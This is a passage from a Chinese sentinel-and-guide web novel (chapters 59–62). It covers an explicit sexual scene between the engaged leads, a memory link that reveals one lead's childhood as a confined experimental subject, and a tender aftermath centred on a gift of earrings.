深度疏导是一种极为特殊的疏导方式, 需要哨兵对向导完全信任,接纳对方进入自己的精神图景。对于匹配度极高的哨兵和向导来说,甚至会在途中进行记忆链接——看见对方记忆深处的一些连贯性或片段性画面。 客厅里灯光很亮, 将沙发上的画面照得极其清晰。 易谌鼻尖贴着黎珞言的磨了磨, 然后一路往下, 唇滑过脖颈、锁骨、胸膛…… 他这次确认自己上次看见的淡粉色疤痕不是错觉了。大概离心脏只有两三厘米的地方,一道食指长的疤痕格外显眼,看样子是很久以前的伤口了,印记很浅。 易谌的手指轻轻摩挲着那道印记,旋即温热的唇吻了上去。 黎珞言的发尾被汗浸湿了,他唇很红,是被血浸染过后的红, 看着易谌动作, 他胸膛剧烈起伏着。 他不知道易谌为什么一直亲那里,但一种混着记忆的战栗感让他头皮都有些发麻。 他手抓着易谌的头发, 不自觉攥紧了,易谌被他拽得一疼,不自禁抬起了头,望进一双漂亮的绿眸。 易谌一直知道黎珞言有一双很漂亮的眼睛, 没想到在这种时候更加漂亮了。纯澈干净的颜色诱惑着他, 让他想要给其染上点别的艳丽色彩。 “我可以给你做深度疏导吗?”手放在松紧款的裤腰上, 易谌没有急着扯下来, 询问的嗓音低沉响起。 黎珞言在这时犹豫了,他记得生理课讲过记忆链接的事。他和易谌的匹配度太高, 在深度疏导的过程中产生记忆链接是极有可能发生的。 易谌没等到他的回应,眸子很沉,手逐渐往下移, 移到了另一个地方,屈了屈手指,轻轻挑逗着那处。 黎珞言的背猛地弓起,尾巴绕到身前来,圈住了易谌的手腕,撒娇般扫着他。 “……好。”黎珞言说。 …… 沙发其实不太容易舒展开,这地方太狭窄了,稍微动作一下就吱呀吱呀响,感觉动作幅度稍微大一点,两个人都会从沙发上摔下去。 只有易谌还穿着裤子,但也沾了一些乱七八糟的东西,衣衫不整。他的身体一向冷冰冰的,但此刻也烫了起来。 黎珞言眸色变得认真,仿佛是在学习新知识一样。 易谌尽量控制着自己的激动,他实在太想快一点和黎珞言接触了——毫无保留的接触。 他松开嘴,黎珞言的皮肤泛上一层浅粉,覆上晶莹的色泽,易谌的眸光幽深,手环过黎珞言的腰身,摸了下尾巴根后,便试图往下探。 却突然被攥住了手腕,遏制住了动作,整个人一瞬间天旋地转,等他反应过来的时候,已经被压在身下了。 黎珞言表情还是很认真,仿佛是在实践自己新学来知识,黑发末梢的汗水由于重力往下滴,啪嗒啪嗒落在易谌脸上。 易谌下意识伸舌卷入了口中,有点咸的味道。 黎珞言低头亲吻着他喉结边缘的黑痣,一边慢吞吞说道:“我不太会……刚刚是教学过程吗?” 易谌仰起头,一时间有些没找着情况,刚伸出手,试图让事情回到刚才的模样,两只手就被黎珞言用力攥住了,并拢了举到头顶固定住。 黎珞言的力气怎么这么大……? 易谌竟然挣脱不开他一只手的力气,他有些不太相信地挣扎起来。 “不许动了。”易谌的动作打断了他要重复的教学过程,黎珞言眉头微拧,惩罚似的咬了咬他的喉结,他没有用尖牙去咬,而是用钝钝的牙齿去磨。 然而旋即发生的情况,让两个人都怔了下,僵住不动了。 易谌脸上漫上一片潮红,黎珞言眨了眨眼,往下看,然后一本正经抿着唇,用手背帮他擦了下,效果几近于无。 但要说效果,倒也还算有一点,方才消了反应的小小易又精神大振起来。 黎珞言做到这一步之后,不知道接下来该做什么,他歪着头思索几秒,干脆把衣服扯成一条线,先把易谌的双手捆了起来。 然后在易谌困惑的眼神里,他坐直身子,找到易谌的终端,对着他面部识别解锁,开始在星网上搜索教程。 易谌闭了闭眼:…… 这种东西在正经平台上很难找到,黎珞言边看上面的删减版内容边做reaction:“先扩.张,这是什么意思?怎么没有写做法?……” 在听了黎珞言好一会儿的碎碎念后,易谌感觉脑子都平静了,从方才的激.情中抽离出来,他甚至在想他刚刚怎么会觉得黎珞言游刃有余来着,原来只是学习能力比较强吗? 易谌舒出口气,语气有种淡淡的死感:“不用看了,我教你。” …… 易谌在回来的路上其实没有想过事情会发展成这样。 他这几天早出晚归是在帮一个很器重他的白塔老师做实验,今天拿了工资去买了些食材,准备着给黎珞言做一顿丰盛的饭菜。 刚好在路上的时候,珠宝店的工作人员通知他定制的耳钉可以来取了。他心情愉悦,将精致的方形盒子放在了外套口袋里,想着可以在睡前送给黎珞言,大概也算是一个惊喜吧。 但回来时,撞见的那一幕实在让他忍不住一遍遍回想。 他不常上星网或是论坛,但直播式的联赛仿佛唤醒了许多人的记忆,一些像是科普又像是真情实感的人讨论起了黎珞言和温暻之前的关系。连易谌在白塔内例行上课的时候都不经意间听见了这样的话。 那些话和当初温暻在联赛上对他说的话交替重复地在耳边回响着,他忍不住地去想,黎珞言和温暻,真的很般配吗? 比他这个未婚夫还要般配? 易谌在厨房里切菜的时候,视线突然瞥到右手的菜刀。他瞳色很深很沉,垂下眸,握着的手忽然动了下,视线里跃入一抹刺眼的鲜红色。 他平静地想,下城区的人就是这样不择手段。 …… 但计划并不完全像他想象中那样进行——在黎珞言握着他的手反压制他的那一瞬间。 然后事情的走向就有些偏离了。 黎珞言拿着刚才在星网上学到的无比简洁的知识,语气认真,好像他是个多么聪明、懂的相关知识多么广的人似的:“你骗我的话,我能看出来的。” 易谌抓了抓头发,看着他浸了碎光的湿润眼睛,又看着他右耳亮晶晶的银色耳钉。唇角忍不住弯起点弧度,冷峻的五官显得柔和了些:“不骗你。” 在易谌的教导下,一些文字性的东西逐渐转化为了画面。 “好像要套一个什么……袋子?” 临门一脚前,黎珞言突然停住了,他额间冒着汗,显然也是因此感到难受,但他又把手伸去捞终端,似乎是想上星网再查一下。 易谌手被绑着,很多动作做不了,看着黎珞言真的去拿终端了,他脑子又有些空白了,片刻后,他干脆腰腹用力弹起来,调换了一下姿势,双膝跪在黎珞言身侧,暂时悬空着。 他低头看着在终端划来划去的黎珞言,此时黎珞言躺在了沙发上,浸着水汽的眼眸带着点茫然地透过终端的边缘望着他。 易谌嗓音很哑:“扶一下。” 黎珞言顿了顿,乖巧地扶住,一边问道:“不套袋子了吗?” 易谌摇了摇头,汗水淌下来,眨得他眼睛发疼。他的身体被自己控制着一点点下落,感受到一种撕裂的疼痛绽开,他汗水淌得愈发厉害了,和黎珞言的汗交融在一起。 但在接触、契合后,他心里又感到诡异的满足,眯了眯眼睛,唇角扬起来。 黎珞言头微微仰起,自然而然露出裹着汗水的脖颈,他双手紧紧扣在易谌腰身,按着易谌不能自主移动半分,带着侵略的意味,手臂上鼓起具有力量感的青筋。 易谌调整了呼吸,除了一开始不太适应之外,身体慢慢地就不排斥外来物了,他们接近百分百的匹配度让他无论是生理上还是心理上,都迫不及待地与黎珞言挨得更紧,拥有更加亲密的结合。 黎珞言没有章法地横冲直撞。易谌咬着牙,缓了好一会儿还是适应不了他的节奏,干脆将精神力探入了他的精神图景,给他做精神疏导。 硬质沙发被手指抠着、被攥紧了又放松,留下皱巴巴的痕迹。 * 清晨的太阳从窗外透进来。 易谌醒来,使劲按了按额角,竟然莫名产生了种宿醉的感觉,身上肌肉酸疼,运动量仿佛比联赛里的每日三十公里还大。他揉着额角,昨天的回忆慢慢地涌了上来。 一开始是在沙发上,后来黎珞言把下巴抵在他肩上,眼睛半睁半闭地打了个哈欠,他们就回到了床上……中途还产生了记忆链接,他窥见了黎珞言的记忆…… 易谌脑子里思绪乱得像一团理不清的毛线。他觉得自己现在该安静地待一会儿,理一下昨天发生的所有的事,以及,他在黎珞言的记忆里看到的片段式画面。 他担心吵醒黎珞言,动作幅度很小,刚往前挪动了一点,便整个人僵住了。没有堵住之后,流出来的瞬间浸湿了床单。……太奇怪了这种感觉。 易谌回头看了眼,然后小心翼翼出了门,去洗手间清理了下自己。 半晌,客厅里火星燃起,烟头被点燃,烟雾氤氲着冷峻却湿润的眉眼。自从来了上城区之后,易谌已经很久没碰过这玩意儿了。 他没有坐下,站在窗边,齿间咬着香烟,倦怠的五官衬得他看起来有几分厌世的野性。他细细回想着在记忆链接时,从中看见的有关于黎珞言的部分记忆,忍不住皱起了眉。 突然,身后传来带着深深倦意的熟悉嗓音:“我是不是漏了什么步骤?” 黎珞言学习的时候总是很认真,他随意套了件T恤短裤,懒懒地倚在门边上,似是在回忆,若有所思地说,“我知道这个,叫——事后烟……我是不是也应该要点一根。” 易谌眼皮一跳,直接用手把烟生生掐断了。 第 60 章 ——根本不是用来装饰的…… 易谌吐出一口烟雾, 把烟掐灭后就扔掉了。一边朝洗手间走去,一边有些无奈地说:“不要什么坏习惯都学。” 易谌在洗手间里漱口,把方才的口腔里烟味冲散了, 又闻了闻自己手腕, 确认已经没有残余多少烟味了, 才转过身。 黎珞言睡眼惺忪,安安静静地跟在他后面走来走去,现在斜倚在洗手间门框边上看他。 刚转过身,看见黎珞言歪着头看他的模样,昨天的回忆涌上来,易谌倏地感觉到了身体怪异的变化,他小腿有点抖, 迅速将一只手反撑在洗手台边上, 手指扣紧,静了一瞬没有说话。 黎珞言这时又垂了眸, 似乎是想说些什么,但他抿了抿唇,半晌,扬起一个笑:“是坏习惯的话, 你也要戒掉。” 易谌能猜到他在想什么。 那双碧绿的眸子里藏着点忧虑的情绪, 眉间拧起一点, 手指在无意识抠着门框, 无非就是关于记忆链接的事。 黎珞言没有主动提起,眼眸低着, 在地上四处瞥着,突然视野光线暗了些。他一抬眸,就撞进易谌的眼睛里。 漆黑的眸子安静地看着他, 他忽地意识到易谌想要说什么,手指抠门框的动作更使劲了,下意识朝后退了一步,想要逃避。下一秒就被拽住不得不往前走了几步,旋即身后的门被一只手重重甩上。 他想要往后退,也退不到哪里去了,背只能抵着洗手间的门,易谌又往前走了好几步,把他逼到了角落里。 黎珞言不清楚自己的哪些记忆在疏导中被窥见了,他眼皮颤得有些厉害,声音有点轻,直白道:“你,可以装作没看见吗?” 太糟糕了。他觉得自己的记忆太糟糕了。 但同时他又很矛盾地忍不住去想,易谌看见了他的记忆之后,会怎样想呢……会觉得他是个怪物吗? 易谌没有回答,手从他的T恤下摆伸了进去,他的体温较常人更凉些,手下的皮肤稍微瑟缩了一样。手指顺着腹部肌肉往上,最后停留在胸口,指腹轻轻摩挲着黎珞言左胸上那一道浅粉色的疤痕。 向导动作很轻,似乎是怕弄疼了他,黑眸垂着,仿佛能够透过纯棉T恤看见那一道疤痕,眸光像是对待珍视的宝物。 “黎珞言。”易谌喊他。 黎珞言“嗯”了一声。 “你在想什么?” 黎珞言顿了顿,片刻后摇了摇头:“我不知道。” “抱歉,我不能装作什么也没看见。”易谌又往前走了一步,黎珞言退无可退,易谌的一只腿抵进了他的双腿之间。 黎珞言的思维突然又开始跑偏了,他走神地想到了昨晚的事,昨晚易谌亲他,在他身上起伏着,还流着汗喘着粗气…… “咳咳!”易谌干咳了两声,骤然打断了黎珞言的思绪,吸引着黎珞言抬眸望他。 “你知道我给你做了深度疏导吧。”易谌询问。 黎珞言便乖巧点点头。 易谌不太确定他有没有好好上过生理课,斟酌着说:“你情绪起伏比较大的时候,我能感受到你的情绪。……你知道吗?” 黎珞言眼睛睁大了点,张了张嘴:“现在知道了。” 他立马脑子里什么也不想了,恢复到一片空白的状态。 易谌闭了闭眼。打死以前的他也想不到,他在下城区摸爬滚打十几年之后,居然被一个连生理知识都不太懂、比他小上几个月的哨兵给.操.了。 ——虽然他当时也没多做几秒钟的反抗。 易谌觉得自己该给黎珞言科普一些必需的生理知识,他现在有些怀疑黎珞言根本不知道深度疏导对于哨兵和向导身体方面的变化。 想到这里,他莫名产生了一种罪恶感。 走到沙发边上后,上面已经不太能坐了,留下了不少混乱的痕迹。易谌昨天回来时穿的那件外套掉在了地上,黎珞言走过去捡起来,口袋里却突然掉出了一个精致的方形盒子。 黎珞言伸手去捡的那一瞬,另一只手却以更快的速度捡起来了。 易谌迅速将那个盒子背到了身后。 “是什么?” “没什么。”易谌淡定回道。 黎珞言歪了歪头,忽然发现自己突然也能感受到一部分易谌心里的想法了,弯起眸斩钉截铁道:“是送给我的礼物。” 易谌突然觉得自己像拿了一个烫手山芋,在定制耳钉之后,他就无数次地想过黎珞言收到礼物会露出什么样的表情,也无数次地想象过他右耳的银色耳钉换成他亲自挑选的这一副后会是什么模样。 春天洋溢着生命气息的绿色耳钉,和黎珞言的眼睛很像。 但他现在攥紧了高档的耳钉盒,不敢送出去。他低着头,从没想过自己居然会有这样踌躇的时候:“我……我弄丢了。礼物下次补给你。” 黎珞言慢吞吞地点了点头,似乎是信了。他打了个哈欠,眼眸里泛上一层水汽,又回去睡觉了。 在合上门的那瞬间,他抬眸迅速瞥了一眼易谌,旋即又垂下眸,掩住了眸里的情绪。他想,易谌一定是和其他人一样,觉得他是个怪物,所以才会把准备送给他的礼物收回去,藏着掖着不让他看。 房门关上,只剩易谌一个人待在客厅。他蹲下身,把死死攥着的方盒打开了,沉默地看着里面被丝绒内衬包裹的一对耳钉。 昂贵、漂亮、晃动时仿佛有绿色的波浪在其中摇晃,几乎花光了他所有积蓄得到的一对耳钉。 ……他为什么不送出去呢? 盖子合上,发出沉闷一声响,易谌把耳钉盒攥得很紧,口腔内壁的软肉被他死死咬住,直至咬破了皮才松了力。 他懊恼地盯着地板,神情有些难受。他怎么才知道那个耳钉是联邦用来监察黎珞言动向的定位器…… ——根本不是用来装饰的饰品。 * 在昨晚那场精神疏导中,易谌的精神力侵入了黎珞言的精神图景,他再一次看见了黎珞言精神图景里荒瘠的场景,黑雾里只有竖起的画板。 但这一次黎珞言的潜意识并没有抵抗外来物的入侵,以至于易谌的精神力可以进入得更深。他将精神力覆在最近的那团黑雾上,用尽办法去消除或是净化。 他往常习惯性用攻击的方式去净化哨兵的精神图景,并不考虑哨兵会不会感到疼痛,但他此刻一想到黎珞言会因为他的攻击而脑域感到不舒服,便不假思索换了更加温和的方式。 他将精神力凝成一个圆圈,完全包裹住那团黑雾,从外向里一点点净化完成。 起初他还不太习惯,但三次五次便也熟练了起来,加快速度净化黎珞言精神图景里肆虐的黑雾。 记忆链接这种小概率事件就是在那时候产生的。 易谌又消除了一团黑雾后,黑雾散去却变成了碎片式的画面。 他看见在宽敞的房间里,面容稚嫩的小孩端正地坐在床上,眼睛一眨不眨认真盯着卧室房门。 房间是黎珞言的房间,他不久前才去过,十几年了竟然几乎从未变过。小孩是幼年版的黎珞言,比他上次在幻境看见的孩子还要小上不少,眼睛看起来比现在更大,柔和精致的长相让人第一眼看见就想亲近。 易谌第一次见到这么小的黎珞言,忍不住唇角扬起了点,认真看着画面里的场景。 直到窗外天漆黑一片了,紧闭的房门才被打开。小黎珞言眼睛睁得久了有些发酸,一眨眼睛眼泪就沾湿睫毛掉下来,他弯唇笑起来,高兴地喊:“爸爸。” 执政官的容貌和现在并没有太大差别,他回来时还未换下正装,气质成熟稳重。他几步走近,眉间皱起:“怎么了小言?” 小黎珞言眼睛弯弯的:“爸爸你终于回来了。” 易谌发现黎珞言从小说话就是这个调调,慢吞吞的,咬字也有点怪,但听着很可爱,很与众不同。他就很喜欢听黎珞言讲话。 执政官眉眼舒展开,用手背把他脸上的眼泪擦了擦,温声问:“我回来的时候,你在家里做什么?” 小黎珞言先是慢吞吞重复一遍他的话,然后想了想,认真说:“在等你回来。” “没有做别的事吗?” 小黎珞言有些不解:“别的事?等你回来就是最重要的事啊。” 执政官喉咙有些涩得慌,他看着黎珞言澄澈的眼睛,明白了不光是今天,每一天黎珞言都是这样坐在床上望着房门等他回来。 沉默了好一会儿后,他说:“下次可以做些别的事……一个人待在家里很无聊吧,对不起,我总是回来得很晚。” 小黎珞言不觉得自己待在家里无聊,他其实很习惯这样的生活,但他还是点点头,弯着眼应道:“好。” …… 最后一点画面消失在眼前,易谌还从未见过这样的黎珞言,他的心情像是被棉花糖了涨满了一样甜蜜,他想,他在以这种方式了解黎珞言。 精神力再次包裹住一团黑雾,将其压缩净化。精神力散去之后,再次出现片段式记忆播放。 这次房间里有了齐全的画板、画笔等工具。稍微长大了一点的小黎珞言坐在画板前,上身衣服沾上了些许颜料,极其艳丽的颜色衬得他眉眼十分夺目。 执政官走进来,看着他笔下快要完成的画,眉眼凝重仿佛藏着点事情,但竭力让自己的语气显得温和:“在画什么?” 小黎珞言用画笔点点他的画,有点骄傲地说:“我在画这个世界啊。” 执政官的表情有些僵住了。他看着画纸上的内容,这是他们住着的房子,画面里物品的摆设都是按照黎珞言记忆中来画的,和真实情况有些不太明显的出入。 易谌的神情也有些滞然。 小黎珞言没有注意到执政官的表情,他有些苦恼地歪了歪头:“但是爸爸你说你不在家的时候我应该待在我的房间里,所以有些地方我有点记不太清了……我有画错吗?” 执政官的声音有点哑,他努力扬了下唇角:“没有画错,画得很好。” 小黎珞言被夸了之后,就高兴地弯弯眼睛。他突然想到:“爸爸你今天回来得好早。” 执政官看着他,被那样干净的眸子望着,他张了张嘴,说不出口,好一会儿,他躲开了小孩的眼神,才艰难地说出口:“是的,因为……今天你需要做一个身体检查。” 易谌看着黎永的表情,心觉不太对劲,如果只是普通的身体检查,他会是这副表情吗? 但小黎珞言完全没有察觉到,他点点头,几乎对父亲所有的话都毫不犹豫地答应。 易谌心里的那点不对劲,在小黎珞言被蒙着眼睛带到一个实验室模样的地方后,达到了顶峰。 60-70 第 61 章 ——他有时候也会舍不得…… 幼年的黎珞言躺在冰冷的金属台上, 他睁着眼睛,看着天花板上明亮的白炽灯,执政官用手覆在他的眼睛上, 示意他闭上眼睛。 安静到连一根针响都能听见的实验室里, 手术刀划过左胸口发出细微声响, 让闻者耳膜震动。 鲜血骤然涌出。 小黎珞言的脸色因失血有些苍白,他疼得手指攥紧,但手下并没有可供他抓握的物品,他只能将指甲嵌进肉里,去缓解那种难以忍受的疼痛。 易谌看着碎片里的这一幕,胸膛剧烈起伏着,胸口像是被厚重的棉花堵住, 又闷又疼。 他以为黎珞言是在很幸福的环境里成长起来的, 即便有时候一些细节告诉他,对方的童年可能没有他想象得那么顺风顺水, 但他也从没有想过自己会看见这样一幕。 过了会儿,取血完成,实验室里除了黎珞言外就没有人了,变得空荡荡的, 没有任何生命气息。 小黎珞言从金属台上坐起了身, 他低下头, 轻轻碰了碰自己的左胸口, 那里经过愈合处理后已经没再溢血了,只剩下一道吓人的伤疤。 不知道为什么, 明明不再流血了,他却感觉到心脏仿佛被攥紧了似的疼。他抬眸,扫过空无一人的四周。——没有看见执政官的身影。 他慢吞吞地下了床, 强压下身体上的不舒服,耳朵和尾巴应激地冒了出来。可能是在取血的时候就冒出来了吧。 这片充斥着冰冷色调、放置着精密仪器的环境,让他一个人待着有些害怕。他步伐缓慢,找到一扇门后,用力推开了,然后沿着那条寂静的道路往前走。 他突然听见一点窸窸窣窣的声音,潜意识告诉他要放轻脚步,不引起别人的注意,循着声音的方向走去。 “三天之内要出分析结果,认真点,别出差错。” 试管撞击的声音,清脆作响。 “知道的。不过说起来执政官阁下对他儿子也真的够狠心的。” “阁下真的忍心让自己亲手养到这么大的孩子当实验体吗?别到时候注射药剂的时候,他又反悔了……人总归是感性动物的。” “哪能培养出什么感情,一天都见不到几次面,如果真有感情的话,阁下怎么会把他一直关在房子里。” “那不是为了不让外界发现他,从而保护他吗?” “这么说也行吧,但设身处地一下,我舍不得让我的孩子待在一个人房子里接触不到任何人。” 突然有人咂舌道:“联邦一直说星盗将异兽基因植入人体是罪恶的,没想到也会用这种方法……” 另一人及时厉声打断:“别说这个!” 小黎珞言蹲在门外,安静地眨着眼睛。那些对话他并不能完全听懂,却也能记住住所有的内容。 不知道过了多久,他蹲在这里,不知不觉间睡着了。 他还太小,蹲在地上时只有小小一团,闭着眼睛蜷在墙边上睡着了,看起来成年人一只手就能把他整个提起来。易谌伸出手,想要抱住他,但他只是窥看记忆的旁观者,他伸出的双臂被记忆碎片阻隔在外。 他手指抵着坚硬的碎片,再前进不了半分,同一时间,他的视线里伸出了一双手,沿着他手臂的位置伸出,竟然和他的手臂有一瞬的重合,但区别是那人就在画面里面,稳稳抱起了他怎么也触碰不到的人。 小黎珞言被腾空的动静惊醒了,他睁着澄澈绿眸,看着额间凝着细汗的父亲,却不像往常一样弯着眸高兴地喊“爸爸”。他想起门内的人说父亲对他没有感情云云的话,心里忍不住升起不安、恐慌等糟糕的情绪。 “小言,你怎么跑出来了?”执政官以为他会乖乖待在手术台上,没想到等他回去的时候,黎珞言已经不在那里了,他瞬间焦急万分,担心出了什么事,找了半晌才找到他。 小黎珞言好一会没说话,执政官的脸色变得有些沉,他想着是不是出了什么事,吓到小孩了。 小黎珞言看出他的神情变化,顿了片刻后开了口:“爸爸,实验体是什么意思?” 他其实更想问的是,父亲是不是真的对他毫无感情,但他又害怕会得到肯定的答案,想了想,选择了一个他以为无关紧要的问题,用一种求知的眼神询问着他听不懂的专业名词。 然而黎永的神情却怔住了,嘴唇像被胶水黏住一样张不开,说不出话来。好一会儿才沉声问道:“谁和你说的这些话?” 小黎珞言看出他的脸色隐隐显出几分怒气了,但他还是不太理解:“这是不好的话吗?” 黎永的声音停住了,静静地和面前的小孩对视着。他发现自己真的很难在黎珞言面前说一些谎话,被那双干净毫无杂质的绿眸信任地望着,他总觉得自己的行为过于卑劣、不堪。 对不起。 他在心里默默地说,然后用手拨弄了下黎珞言的头发,让过长的黑发不至于挡眼睛:“这是一个中性词……好或不好,可以等你长大后再评定。” 黎永温声说着,心里却冷冷地想着,他该找出在这里嚼舌根的人,他们的工作总没必要和舌头打交道。 …… 画面消失。 易谌的手指摸到了一片虚空,他沉了眸,不知道自己该不该继续给黎珞言做疏导。 他想要了解黎珞言的过去,想要黎珞言的一切都与他有关,但他没想到看见的会是这样灰暗的记忆。 最后一次。他对自己说。在没有征求黎珞言同意的情况下,最后一次通过记忆链接查看他的记忆。 莹白的精神力将肆虐的黑雾包裹成一个小球,压缩净化,精神力散开后,碎片式画面再度展开。 “我想出去。”十来岁的黎珞言声音闷闷的。 这个年龄阶段的黎珞言和易谌记忆中的相似度更高了,面部轮廓有些稚嫩,脸上还有着婴儿肥。 易谌仔细看忽然发觉一件事,原来黎珞言的耳钉是在这个时候戴上的,原来的回忆里还没有这颗耳钉。 “你现在还不能出去。”黎永按着额角,坐在桌子上处理政务,头也没抬。 这是在黎珞言的房间,黎永大概觉得自己在这里陪着他,会让他心情稍微好一点。 “你又骗我。”黎珞言垂下眸,声音平静没什么起伏,“你说过只要我戴上这个定位器就可以自由活动的。” 他摸着固定在右耳上的耳钉,眼眶有些泛红。 黎永理亏没有说话,黎珞言没等到他的回答,像是习惯了一样,没有大吵大闹,平静地躺上床,把被子盖上睡觉了。 黎永起身把他的被子掀开,皱眉说:“这才下午四点,你能不能按正常的作息来。” 黎珞言也扯住被子的一角,攥得很紧,抬眸盯着他:“那我还能做什么?我想去见我的朋友,你同意吗?” 黎永手上一松,整套被子就被黎珞言扯了过去。 十岁大的小孩吸了吸鼻子,用手背迅速抹了一把眼睛,旋即把被子盖过头顶,把自己埋在被子里。 黎永低头看着冒起个团子的被子,舒出一口气:“你可以做别的事情,画画、栽花都可以,我会在这里一直陪着你。” “我不需要。”从被子里传出来的声音闷闷的,他陈述着一个事实,“是你把奚元赶走的,你还不许他再来找我。” 黎永换了个角度说:“你有去看过窗外面的墙吗?那道沿很短,站在那里时间太长很危险,会有摇摇欲坠的错觉。而且最近太阳很大,晒一下午皮肤很疼,你就放心他每天在外面陪你说话?” 易谌顺着他的话看向窗户,原来这个时候的窗子就被封死了,透进来的自然光微乎其微,显出几分别样的压抑。 如果每天睁开眼面对的是一模一样的场景,囚笼一样将他困在了其中,想逃出去是再正常不过的想法了。 被子里的团子窸窸窣窣一会儿,翻了个身不说话了。 不知道沉默了多久,黎珞言的声音响起:“我知道实验体是什么意思了。” 黎永从政事中抽离出来,侧过头看他。 黎珞言嗓音平静:“就是怪物的意思。你根本就没想到让我拥有朋友,因为你知道我不正常。” “我从没这样认为过。” “那为什么不让我出去?”黎珞言从被子里钻出一个脑袋,“因为我是危险品,对吗?就算我戴上了定位器,你们也不能放心……” 黎永深呼吸了几下,咬字很重,骤然打断他:“你当时失控了黎珞言。” 黎珞言回想起当时的场面,瞳孔骤缩,他紧紧抱住了枕头,甩了甩脑袋,试图把回忆甩出去,喃喃道:“因为他说我不是正常人,所以我才没有妈妈,没有人喜欢我……” 他低头,眨了眨眼睛,眼泪顺着眨眼的频率啪嗒啪嗒往下掉,床单被眼泪浸湿一小片。他看着面前变得深了一块的床单,扯过被子把自己又埋了进去。 黎永不知道该怎么回答他,实际上从一开始黎珞言的出生就是因为感染者的出现,联邦高层希望他们能给出解决方案。 联邦的体外胚胎培育技术已经发展得非常成熟,不少家庭会采用基因选育的方式整合出搭配起来最完美的基因组,再通过营养仓培育受精卵,提供营养直至成型。 这在联邦上城区完全是司空见惯的事。 黎永在营养仓外,透过那个半透明的窗口,一点点看着这个拥有着自己一半基因的孩子成型。他从没想过自己会和这个孩子产生感情,但事实上,人的情感有些时候就是不受控的。 他教会黎珞言说话,教会他走路……黎珞言会的所有东西都是他亲自教的。 ——他有时候也会舍不得。 “本来你现在可以出去的。”黎永想起自己和议会成员讨论时候的场景,他想要为了黎珞言争取自由,但对方却用联邦的未来一次次地堵他的话。 黎永平静地告诉他,“如果你戴上的那个定位器换成小型炸弹的话。” 被子微微耸动,黎永忍不住想,黎珞言是不是哭得身体在发抖。面容冷峻的执政官想要将被子揭开,但最终还是缩回了手。 被子里始终没有传来任何情绪激动的声音,连抽泣声也没有。 第 62 章 拍摄角度十分微妙,显得…… “砰砰。”房门被叩响。 黎珞言坐在窗边, 太阳光洒在他身上。听见声音后,他抬眸侧头看过去。 房门还在敲响,敲门的节奏与那天易谌夜里爬窗找他的频率相同, 似乎他不出声, 门就会一直敲下去。 但他明明就没锁门。黎珞言抿着唇, 半晌,还是起身把门打开了。 他头发还翘着,从醒来到现在都没梳理过他那头黑发,抬眸看人时嘴巴紧抿着,一点也不显得冷漠,反而认真得有点可爱。 门打开的一瞬间,门外的人就伸手将他抱进了怀里。 黎珞言瞳孔张大了点, 双手没有及时给出回应, 而是垂在身侧,要举不举的样子。 或许是由于精神体的原因, 易谌的体温一向偏凉,但这个怀抱却很温暖,不知道是不是因为他们贴得过于紧密的原因。 易谌的唇贴在他的耳侧,呼出的热气把耳廓染红了, 他嗓音带着点不易察觉的笑:“我不是说过, 我能够感受到你的情绪吗?” “你在想什么?这次可以告诉我了吗?” “你不是能感受到吗?”黎珞言停顿了好一会儿后, 才伸手虚搂住他的腰身。他故意这样讲话, 让易谌去猜。 “但我想听你说。” 让他说?黎珞言不知道该怎么说,他想了想, 挑了个最无关紧要的问题问:“你为什么要给我送礼物?” 易谌眉梢微挑。他以为黎珞言会问别的问题,至少会是什么“为什么准备好了礼物却不给他”之类的问题。 这个问题太好回答了:“因为我喜欢你。” 黎珞言顿了下,别过头说:“这个我知道, 因为你是我的未婚夫。” “你觉得我喜欢你是因为我和你订婚了,同时我想送礼物给你,也是因为我和你订婚了?” 黎珞言轻轻“嗯”了一声。不然是因为什么? 易谌:? 他简直想用手敲黎珞言脑袋了。他板着一张冷脸,拉着黎珞言走到那张单人床面前,指着上面干涸的痕迹:“这也是因为我们订婚了?” 黎珞言歪了歪头,不太确定地再次“嗯”了一声。 “如果当初和你匹配度最高的人不是我,是别人,你也会和他订婚吗?” 黎珞言诚实地点点头:“会。” “那你也会和他做这种事吗?”易谌加重了语气,他感觉自己不光是额角在跳,连着后面也开始有点隐隐作痛了。 毕竟黎珞言真的半点经验没有,每次都横冲直撞的。看见他疼得冒冷汗了,就无辜地眨眼睛,把下巴搁到他肩上,以一种求知的语气询问:“我是不是应该轻一点?” …… 和别人……? 黎珞言立马摇摇头,他完全想象不出来和别人做这种事。他觉得只有易谌在他身边才对。 易谌的表情缓和一些,诱导他去想:“为什么呢?” 黎珞言垂下眸,认真思索:“因为……你对我很好,你在幻境里找到我了,你还来房间里救我出去……” 他想要细数一下易谌对他的好,但说出来又觉得干巴巴的。他忽地抬起眸,看着那双漆黑的双眸,仿佛蛊惑人的黑洞一样快要将他吸进去。 那天在昏暗的光线下,风声凛凛,他就是看见了这样一双眸子。易谌没有任何顾忌地从窗外翻了进来,他的头发都因那阵风动了起来,带着不拘一格的潇洒。 ……易谌和其他人是不一样的。那一瞬间,黑发晃动的黎珞言双眸倒映着面前的人,他这样想。 “你之前说,会带我去黑市看。”黎珞言突然转了话题,他比了比自己的指甲盖,“那样我就多喜欢你一点。” 易谌也跟着他的动作比了比,认真看了看后,提出异议:“才多喜欢这点啊,好小气。” 黎珞言忍不住想,他真的很小气吗?于是他把手指往下面挪了挪,挪到第二个指节的位置,征求意见:“那这么多?” 易谌扬唇:“那行。” 他忽然想到另一个问题,摸了摸耳朵:“出去之前得先给你买个终端,下城区鱼龙混杂,终端方便我们联系。” 黎珞言便迅速地点点头。 易谌有些难为情,但流畅地说出口:“我还没攒够钱。” 黎珞言便缓慢地点点头。他其实还从未为这种事情操心过,对此一知半解,歪了下头,问道:“钱好攒吗?” 易谌按了按额头。其实买个具备联系功能的终端倒还好,不需要考虑其他附属功能,但主要是上城区和下城区来往的飞船票价太高了。 他把票价给黎珞言说了,表示一时半会儿他可能还攒不够这么多星币。 黎珞言听完之后,不以为意道:“那不坐飞船就好了。我可以驾驶飞行器啊,你坐在我的副驾。” 一时间,不知道是黎珞言考过飞行器驾驶证令人震惊,还是黎珞言能找出一个飞行器更令人震惊。 黎珞言道:“尹惟喜欢收集各种飞行器,我有她家地下飞行器库的钥匙,可以直接去拿一辆。” 易谌看着他弯眸笑的模样,也忍不住眉眼舒展开。他觉得和黎珞言待在一起,光是听着他说话,心情就总能变得愉悦幸福起来。 “还有一件事。” 易谌说:“什么?” 黎珞言伸手在他身上摸:“你说你喜欢我,要送我的礼物呢。”他心情轻松起来,便不像起初那样束手束脚了,行事坦荡又大胆。 那个装耳钉的方盒子刚好就被易谌放在了裤兜里,被这么一摸,没几下就摸到了。 